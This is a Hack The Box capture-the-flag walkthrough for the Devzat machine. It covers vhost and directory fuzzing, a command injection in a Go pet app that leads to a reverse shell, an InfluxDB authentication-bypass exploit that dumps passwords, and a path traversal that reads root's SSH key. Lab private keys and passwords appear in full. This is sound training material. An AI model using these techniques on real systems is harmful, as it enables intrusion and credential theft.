Hack The Box - Devzat

000_info_card

Devzat is a medium rated machine on HackTheBox created by c1sc0. For the user part we will discover a command injection vulnerability by downloading an exposed git directory on a vhost. On the machine there is a vulnerable installation of InfluxDB running which enables us to retrieve the password for another user. For the root part we will find a password in the backups folder for a devzat application which allows us to read root’s private ssh key.

User

Nmap

As usual we start our enumeration with a nmap scan against all ports followed by a script and version detection scan against the open ones to get an overview of the initial attack surface.

All ports

1
2
3
4
5
6
7
8
9
10
11
$ sudo nmap -p- -T4 10.129.95.249
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-16 20:08 UTC
Nmap scan report for 10.129.95.249
Host is up (0.031s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 65.02 seconds

Script and version

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ sudo nmap -sC -sV -p22,80,8000 10.129.95.249
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-16 20:13 UTC
Nmap scan report for 10.129.95.249
Host is up (0.026s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-Go
| ssh-hostkey:
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=10/16%Time=616B3259%P=x86_64-pc-linux-gnu%r(N
SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.38 seconds

Exposed git

Port 80 and 8000 seem the most promising initially. On port 80 we see a homepage for the devzat application.

005_devzat_home

Fuzzing for vhosts on the machine we discover a pets vhost which we add to our /etc/hosts file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://devzat.htb -H 'Host: FUZZ.devzat.htb' -fw 18

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://devzat.htb
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.devzat.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 18
________________________________________________

pets                    [Status: 200, Size: 510, Words: 20, Lines: 21]
:: Progress: [114441/114441] :: Job [1/1] :: 1532 req/sec :: Duration: [0:01:22] :: Errors: 0 ::

Opening the page in our browser we find a custom looking application where we can add pets to a list.

010_pet_home

Fuzzing for directories on the webpage we find that the .git directory is exposed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ ffuf -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://pets.devzat.htb/FUZZ -fs 510

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://pets.devzat.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 510
________________________________________________

css                     [Status: 301, Size: 40, Words: 3, Lines: 3]
build                   [Status: 301, Size: 42, Words: 3, Lines: 3]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10]
.git                    [Status: 301, Size: 41, Words: 3, Lines: 3]
:: Progress: [119600/119600] :: Job [1/1] :: 1495 req/sec :: Duration: [0:01:29] :: Errors: 0 ::

We can quickly dump this using git-dumper.

1
2
3
4
5
$ git-dumper http://pets.devzat.htb/.git dump
[-] Testing http://pets.devzat.htb/.git/HEAD [200]
[-] Testing http://pets.devzat.htb/.git/ [200]
[-] Fetching .git recursively
...[snip]...

Command injection

The loadCharacter function in main.go looks interesting as it seems to be vulnerable to command injection by directly passing user controlled input to sh -c.

main.go

1
2
3
4
5
6
7
8
9
10
...[snip]...
func loadCharacter(species string) string {
	cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
	stdoutStderr, err := cmd.CombinedOutput()
	if err != nil {
		return err.Error()
	}
	return string(stdoutStderr)
}
...[snip]...

This function get’s called when we add a new pet to the list, so let’s intercept the request for it in burp and send it to repeater. Next we set up a ncat listener to catch the reverse shell.

1
2
3
4
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575

The vulnerable parameter is the species parameter so we inject our bash reverse shell there, terminating before and after it with ;, and send the request.

015_add_pet

This results in a reverse shell on our listener as patrick which we upgrade and fix the terminal size.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lnvp 7575
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.129.95.249.
Ncat: Connection from 10.129.95.249:53630.
bash: cannot set terminal process group (923): Inappropriate ioctl for device
bash: no job control in this shell
patrick@devzat:~/pets$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
patrick@devzat:~/pets$ export TERM=xterm
export TERM=xterm
patrick@devzat:~/pets$ ^Z
[1]+  Stopped                 nc -lnvp 7575
$ stty raw -echo;fg
nc -lnvp 7575

patrick@devzat:~/pets$ stty rows 55 cols 236

Looking around in patrick’s home directory we find his private ssh key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
patrick@devzat:~/pets$ cat ~/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

InfluxDB

Connecting to the earlier found ssh port 8000 as patrick we see an interesting discussion between him and admin where a influxdb instance is mentioned.

1
2
3
4
5
6
7
8
9
10
11
patrick@devzat:~/pets$ ssh 127.0.0.1 -p 8000
admin: Hey patrick, you there?
patrick: Sure, shoot boss!
admin: So I setup the influxdb for you as we discussed earlier in business meeting.
patrick: Cool 👍
admin: Be sure to check it out and see if it works for you, will ya?
patrick: Yes, sure. Am on it!
devbot: admin has left the chat
Welcome to the chat. There are no more users
devbot: patrick has joined the chat
patrick:

Checking for open ports on the machine we see it seems to be listening on localhost on its default port.

1
2
3
4
patrick@devzat:~/pets$ ss -ln
...[snip]...
tcp		LISTEN		0		4096		127.0.0.1:8086		0.0.0.0:*
...[snip]...

Doing a HEAD request on it we can identify the version to be 1.7.5 for which a known CVE exists.

1
2
3
4
5
6
7
8
patrick@devzat:~$ curl -I http://127.0.0.1:8086
HTTP/1.1 404 Not Found
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
X-Influxdb-Build: OSS
X-Influxdb-Version: 1.7.5
Date: Sat, 16 Oct 2021 21:06:15 GMT
Content-Length: 19

To use this PoC on it we forward it to our machine with chisel.

1
2
3
4
$ chisel server -p 9000 -reverse
2021/10/16 21:04:33 server: Reverse tunnelling enabled
2021/10/16 21:04:33 server: Fingerprint xt8l5g1cRTnKyLo0fa6iK7rjwyGcOSE9g7EaAZ9GHf4=
2021/10/16 21:04:33 server: Listening on http://0.0.0.0:9000
1
2
3
4
patrick@devzat:~$ ./chisel client 10.10.14.82:9000 R:8086:127.0.0.1:8086 &
[1] 82221
patrick@devzat:~$ 2021/10/16 21:05:23 client: Connecting to ws://10.10.14.82:9000
2021/10/16 21:05:23 client: Connected (Latency 26.208854ms)

After we modify the exploit script to remove the unessecary request for the banner we create a small list of known possible usernames.

__main__.py

1
2
3
4
...[snip]...
if __name__ == '__main__':

    exploit()

users

1
2
3
4
patrick
catherine
admin
root

Running the exploit we see that is indeed vulnerable to an empty SharedSecret and we are able to access the database as the admin user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python __main__.py

Insert ip host (default localhost):
Insert port (default 8086):
Insert influxdb user (wordlist path to bruteforce username): ../users

Start username bruteforce
[x] patrick
[x] catherine
[v] admin

Host vulnerable !!!
Databases list:

1) devzat
2) _internal

Insert database name (exit to close):

We select the devzat database and a query for existing tables results in a user table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Insert database name (exit to close): devzat
[devzat] Insert query (exit to change db): SHOW MEASUREMENTS
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "name"
                    ],
                    "name": "measurements",
                    "values": [
                        [
                            "user"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Next we enumerate the columns for the table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[devzat] Insert query (exit to change db): SHOW FIELD KEYS
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "fieldKey",
                        "fieldType"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "enabled",
                            "boolean"
                        ],
                        [
                            "password",
                            "string"
                        ],
                        [
                            "username",
                            "string"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

Username and password sound interesting so we retrieve the values for them.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
[devzat] Insert query (exit to change db): SELECT "username", "password" FROM "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "username",
                        "password"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            "wilhelm",
                            "WillyWonka2021"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            "catherine",
                            "woBeeYareedahc7Oogeephies7Aiseci"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            "charles",
                            "RoyalQueenBee$"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

The only user that actually exists on the machine is catherine. Password authentication is disabled for ssh so we set the correct permissions on the earlier found ssh key for patrick, ssh into the machine and switch to catherine. Now we can add the user flag to our collection.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ chmod 600 patrick
$ ssh -i patrick patrick@devzat.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 16 Oct 2021 09:17:27 PM UTC

  System load:  0.0               Processes:                247
  Usage of /:   59.7% of 7.81GB   Users logged in:          0
  Memory usage: 34%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for eth0:    10.129.95.249


107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Oct 16 20:22:22 2021 from 10.10.14.82
patrick@devzat:~$ su catherine
Password:
catherine@devzat:/home/patrick$ cd
catherine@devzat:~$ wc -c user.txt
33 user.txt

Root

Backup

Checking in to devzat as catherine we see another interesting conversation between her and patrick. They talk about a new feature in devzat being implemented on a local instance running on port 8443. Furthermore it is mentioned that the source code for the application is in the backups folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
catherine@devzat:~$ ssh 127.0.0.1 -p 8000
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password I gave you last time.
catherine: k
patrick: I left the source for your review in backups.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine:

Checking for it, it is indeed there and we are able to access it.

1
2
catherine@devzat:~$ ls /var/backups/
apt.extended_states.0  apt.extended_states.1.gz  apt.extended_states.2.gz  devzat-dev.zip  devzat-main.zip

A quick way to find differences in the dev variant is probably to just diff the two applications, so we transfer them both to our machine. We first copy them to the /tmp directory and allow all users to read them.

1
2
catherine@devzat:~$ cp /var/backups/devzat-dev.zip  /var/backups/devzat-main.zip /tmp/
catherine@devzat:~$ chmod 644 /tmp/devzat-main.zip /tmp/devzat-dev.zip

Now we can simply scp them to our machine using patricks ssh key.

1
2
3
4
$ scp -i patrick patrick@devzat.htb:/tmp/devzat-dev.zip .
devzat-dev.zip                                                                                                                                                                                            100%   28KB 339.4KB/s   00:00
$ scp -i patrick patrick@devzat.htb:/tmp/devzat-main.zip .
devzat-main.zip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ unzip devzat-dev.zip
Archive:  devzat-dev.zip
   creating: dev/
  inflating: dev/go.mod
 extracting: dev/.gitignore
  inflating: dev/util.go
  inflating: dev/testfile.txt
  inflating: dev/eastereggs.go
  inflating: dev/README.md
  inflating: dev/games.go
  inflating: dev/colors.go
 extracting: dev/log.txt
  inflating: dev/commands.go
  inflating: dev/start.sh
  inflating: dev/devchat.go
  inflating: dev/LICENSE
  inflating: dev/commandhandler.go
  inflating: dev/art.txt
  inflating: dev/go.sum
 extracting: dev/allusers.json
$ unzip devzat-main.zip
Archive:  devzat-main.zip
   creating: main/
  inflating: main/go.mod
 extracting: main/.gitignore
  inflating: main/util.go
  inflating: main/eastereggs.go
  inflating: main/README.md
  inflating: main/games.go
  inflating: main/colors.go
 extracting: main/log.txt
  inflating: main/commands.go
  inflating: main/start.sh
  inflating: main/devchat.go
  inflating: main/LICENSE
  inflating: main/commandhandler.go
  inflating: main/art.txt
  inflating: main/go.sum
  inflating: main/allusers.json

After we unzipped both repositories we run a diff on the folders. The newly implemented function seems to be fileCommand. It takes two arguments where the second one is the password and the first one the file to read.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ diff dev main
...[snip]...
< func fileCommand(u *user, args []string) {
<       if len(args) < 1 {
<               u.system("Please provide file to print and the password")
<               return
<       }
<
<       if len(args) < 2 {
<               u.system("You need to provide the correct password to use this function")
<               return
<       }
<
<       path := args[0]
<       pass := args[1]
<
<       // Check my secure password
<       if pass != "CeilingCatStillAThingIn2021?" {
<               u.system("You did provide the wrong password")
<               return
<       }
...[snip]...

Checking how the command is registered we can see that it is implemented as /file.

commands.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...[snip]...
func registerCommands() {
	var (
		clear       = commandInfo{"clear", "Clears your terminal", clearCommand, 1, false, nil}
		message     = commandInfo{"message", "Sends a private message to someone", messageCommand, 1, false, []string{"msg", "="}}
		users       = commandInfo{"users", "Gets a list of the active users", usersCommand, 1, false, nil}
		all         = commandInfo{"all", "Gets a list of all users who has ever connected", allCommand, 1, false, nil}
		exit        = commandInfo{"exit", "Kicks you out of the chat incase your client was bugged", exitCommand, 1, false, nil}
		bell        = commandInfo{"bell", "Toggles notifications when you get pinged", bellCommand, 1, false, nil}
		room        = commandInfo{"room", "Changes which room you are currently in", roomCommand, 1, false, nil}
		kick        = commandInfo{"kick", "Kicks a user", kickCommand, 2, true, nil}
		id          = commandInfo{"id", "Gets the hashed IP of the user", idCommand, 1, false, nil}
		_commands   = commandInfo{"commands", "Get a list of commands", commandsCommand, 1, false, []string{"commands"}}
		nick        = commandInfo{"nick", "Change your display name", nickCommand, 1, false, nil}
		color       = commandInfo{"color", "Change your display name color", colorCommand, 1, false, nil}
		timezone    = commandInfo{"timezone", "Change how you view time", timezoneCommand, 1, false, []string{"tz"}}
		emojis      = commandInfo{"emojis", "Get a list of emojis you can use", emojisCommand, 1, false, nil}
		help        = commandInfo{"help", "Get generic info about the server", helpCommand, 1, false, nil}
		tictactoe   = commandInfo{"tictactoe", "Play tictactoe", tictactoeCommand, 1, false, []string{"ttt", "tic"}}
		hangman     = commandInfo{"hangman", "Play hangman", hangmanCommand, 0, false, []string{"hang"}}
		shrug       = commandInfo{"shrug", "Drops a shrug emoji", shrugCommand, 1, false, nil}
		asciiArt    = commandInfo{"ascii-art", "Bob ross with text", asciiArtCommand, 1, false, nil}
		exampleCode = commandInfo{"example-code", "Hello world!", exampleCodeCommand, 1, false, nil}
		file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}
	)
	commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}
}
...[snip]...

Connecting to the dev instance of devzat we try to read root’s ssh key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
catherine@devzat:~$ ssh 127.0.0.1 -p 8443
patrick: Hey Catherine, glad you came.
catherine: Hey bud, what are you up to?
patrick: Remember the cool new feature we talked about the other day?
catherine: Sure
patrick: I implemented it. If you want to check it out you could connect to the local dev instance on port 8443.
catherine: Kinda busy right now 👔
patrick: That's perfectly fine 👍  You'll need a password which you can gather from the source. I left it in our default backups location.
catherine: k
patrick: I also put the main so you could diff main dev if you want.
catherine: Fine. As soon as the boss let me off the leash I will check it out.
patrick: Cool. I am very curious what you think of it. Consider it alpha state, though. Might not be secure yet. See ya!
devbot: patrick has left the chat
Welcome to the chat. There are no more users
devbot: catherine has joined the chat
catherine: /file /root/.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root/.ssh/id_rsa does not exist!

The error message tells us how the path get’s concatenated, so we can simply go a directory up and are lucky to find root’s private ssh key exists in the default location on the machine.

1
2
3
4
5
6
7
8
9
catherine: /file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
[SYSTEM] -----BEGIN OPENSSH PRIVATE KEY-----
[SYSTEM] b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
[SYSTEM] QyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqAAAAJiUCzUclAs1
[SYSTEM] HAAAAAtzc2gtZWQyNTUxOQAAACDfr/J5xYHImnVIIQqUKJs+7ENHpMO2cyDibvRZ/rbCqA
[SYSTEM] AAAECtFKzlEg5E6446RxdDKxslb4Cmd2fsqfPPOffYNOP20d+v8nnFgciadUghCpQomz7s
[SYSTEM] Q0ekw7ZzIOJu9Fn+tsKoAAAAD3Jvb3RAZGV2emF0Lmh0YgECAwQFBg==
[SYSTEM] -----END OPENSSH PRIVATE KEY-----
catherine:

All we have to do now is to clean the key, set the correct permissions on it, ssh into the machine as the root user and grab the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ chmod 600 root
$ ssh -i root root@devzat.htb
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat 16 Oct 2021 09:33:42 PM UTC

  System load:  0.0               Processes:                249
  Usage of /:   59.8% of 7.81GB   Users logged in:          1
  Memory usage: 29%               IPv4 address for docker0: 172.17.0.1
  Swap usage:   0%                IPv4 address for eth0:    10.129.95.249


107 updates can be applied immediately.
33 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Oct 11 14:34:01 2021
root@devzat:~# wc -c root.txt
33 root.txt
root@devzat:~#